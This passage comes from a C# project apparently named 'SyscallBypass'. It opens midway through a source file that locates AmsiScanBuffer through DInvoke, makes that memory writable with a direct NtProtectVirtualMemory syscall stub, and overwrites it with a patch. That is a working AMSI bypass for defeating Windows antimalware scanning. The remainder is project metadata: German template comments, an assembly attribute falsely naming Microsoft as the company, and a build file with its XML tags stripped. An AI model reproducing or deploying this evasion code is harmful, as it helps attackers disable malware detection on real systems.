55 | var lib = (IntPtr)DInvoke.DynamicGeneric.DynamicFunctionInvoke(pLoadLibrary, typeof(LoadLib), ref LoadLibparams);
56 |
57 |
58 | Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", lib.ToInt64()) + "\n");
59 |
60 |
61 |
62 |
63 | /*
64 | Console.WriteLine("[>] Manually mapping kernel32.dll into current process memory \n");
65 |
66 | DInvoke.PE.PE_MANUAL_MAP moduleDetails = DInvoke.Map.MapModuleToMemory("C:\\Windows\\System32\\kernel32.dll");
67 | Console.WriteLine("\n[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n");
68 |
69 | // Call LoadLibraryA for the lib from above
70 | var lib = (IntPtr)DInvoke.DynamicGeneric.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA", typeof(LoadLib), LoadLibparams);
71 | Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", lib.ToInt64()) + "\n");
72 |
73 | //Remove the above if kernel32 mapping fails
74 | */
75 | // Function to patch
76 | object[] GetProcAddressparams =
77 | {
78 | lib,
79 | "AmsiScanBuffer"
80 | };
81 |
82 | // Parsing _PEB_LDR_DATA structure of kernel32.dll
83 | pkernel32 = DInvoke.DynamicGeneric.GetPebLdrModuleEntry("kernel32.dll");
84 |
85 | // Get GetProcAddress Address
86 | pLoadLibrary = DInvoke.DynamicGeneric.GetExportAddress(pkernel32, "GetProcAddress");
87 |
88 | // Actually Call GetProcAddress for the function mentioned above
89 | var addr = (IntPtr)DInvoke.DynamicGeneric.DynamicFunctionInvoke(pLoadLibrary, typeof(GProcAddr), ref GetProcAddressparams);
90 |
91 | Console.WriteLine("[>] Patch address : " + string.Format("{0:X}", addr.ToInt64()) + "\n");
92 |
93 | uint oldProtect = 0;
94 |
95 | // NtProtectVirtualMemory Syscall
96 | IntPtr stub = DInvoke.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory");
97 | NtProtectVirtualMemory NtProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));
98 |
99 |
100 | Process thisproc = Process.GetCurrentProcess();
101 |
102 | // Save value of addr as this is increased by NtProtectVirtualMemory
103 | IntPtr oldaddress = addr;
104 |
105 | var regionSize = (IntPtr)patch.Length;
106 | oldProtect = 0;
107 |
108 | var result = NtProtectVirtualMemory(
109 | thisproc.Handle,
110 | ref addr,
111 | ref regionSize,
112 | 0x40,
113 | ref oldProtect);
114 |
115 | if (result == 0)
116 | {
117 | Console.WriteLine("[+] NtProtectVirtualMemory success, going to patch it now!\n");
118 | }
119 | else
120 | {
121 | Console.WriteLine("[-] NtProtectVirtualMemory failed :-(\n");
122 | Console.WriteLine("[-] Error code: " + result + "\n");
123 | }
124 |
125 |
126 | Console.WriteLine("[>] Patching at address : " + string.Format("{0:X}", oldaddress.ToInt64()) + "\n");
127 |
128 | Marshal.Copy(patch, 0, oldaddress, patch.Length);
129 |
130 |
131 |
132 | regionSize = (IntPtr)patch.Length;
133 | uint newoldProtect = 0;
134 |
135 | // CleanUp permissions back to oldprotect
136 |
137 | result = NtProtectVirtualMemory(
138 | thisproc.Handle,
139 | ref oldaddress,
140 | ref regionSize,
141 | oldProtect,
142 | ref newoldProtect);
143 |
144 | if (result == 0)
145 | {
146 | Console.WriteLine("[+] NtProtectVirtualMemory set back to oldprotect!\n");
147 | }
148 | else
149 | {
150 | Console.WriteLine("[-] NtProtectVirtualMemory to restore oldprotect failed.\n");
151 | Console.WriteLine("[-] Error code: " + result + "\n");
152 | }
153 |
154 |
155 | }
156 | catch (Exception e)
157 | {
158 | Console.WriteLine(" [x] {0}", e.Message);
159 | Console.WriteLine(" [x] {0}", e.InnerException);
160 | }
161 | }
162 |
163 | // If you don't want a Library but a console application
164 | //public static void Main(string[] args)
165 | //{
166 | // Patch();
167 | //}
168 |
169 |
170 | private static bool is64Bit()
171 | {
172 | bool is64Bit = true;
173 |
174 | if (IntPtr.Size == 4)
175 | is64Bit = false;
176 |
177 | return is64Bit;
178 | }
179 | }
180 |
181 | }
182 |
--------------------------------------------------------------------------------
/SyscallBypass/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Allgemeine Informationen über eine Assembly werden über die folgenden
6 | // Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
7 | // die einer Assembly zugeordnet sind.
8 | [assembly: AssemblyTitle("SyscallBypass")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("Microsoft")]
12 | [assembly: AssemblyProduct("SyscallBypass")]
13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Durch Festlegen von ComVisible auf FALSE werden die Typen in dieser Assembly
18 | // für COM-Komponenten unsichtbar. Wenn Sie auf einen Typ in dieser Assembly von
19 | // COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen.
20 | [assembly: ComVisible(false)]
21 |
22 | // Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
23 | [assembly: Guid("3e4e00bf-0903-4c5e-82e7-fd338b383dea")]
24 |
25 | // Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
26 | //
27 | // Hauptversion
28 | // Nebenversion
29 | // Buildnummer
30 | // Revision
31 | //
32 | // Sie können alle Werte angeben oder Standardwerte für die Build- und Revisionsnummern verwenden,
33 | // indem Sie "*" wie unten gezeigt eingeben:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SyscallBypass/SyscallBypass.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {3E4E00BF-0903-4C5E-82E7-FD338B383DEA}
8 | Library
9 | SyscallBypass
10 | SyscallBypass
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------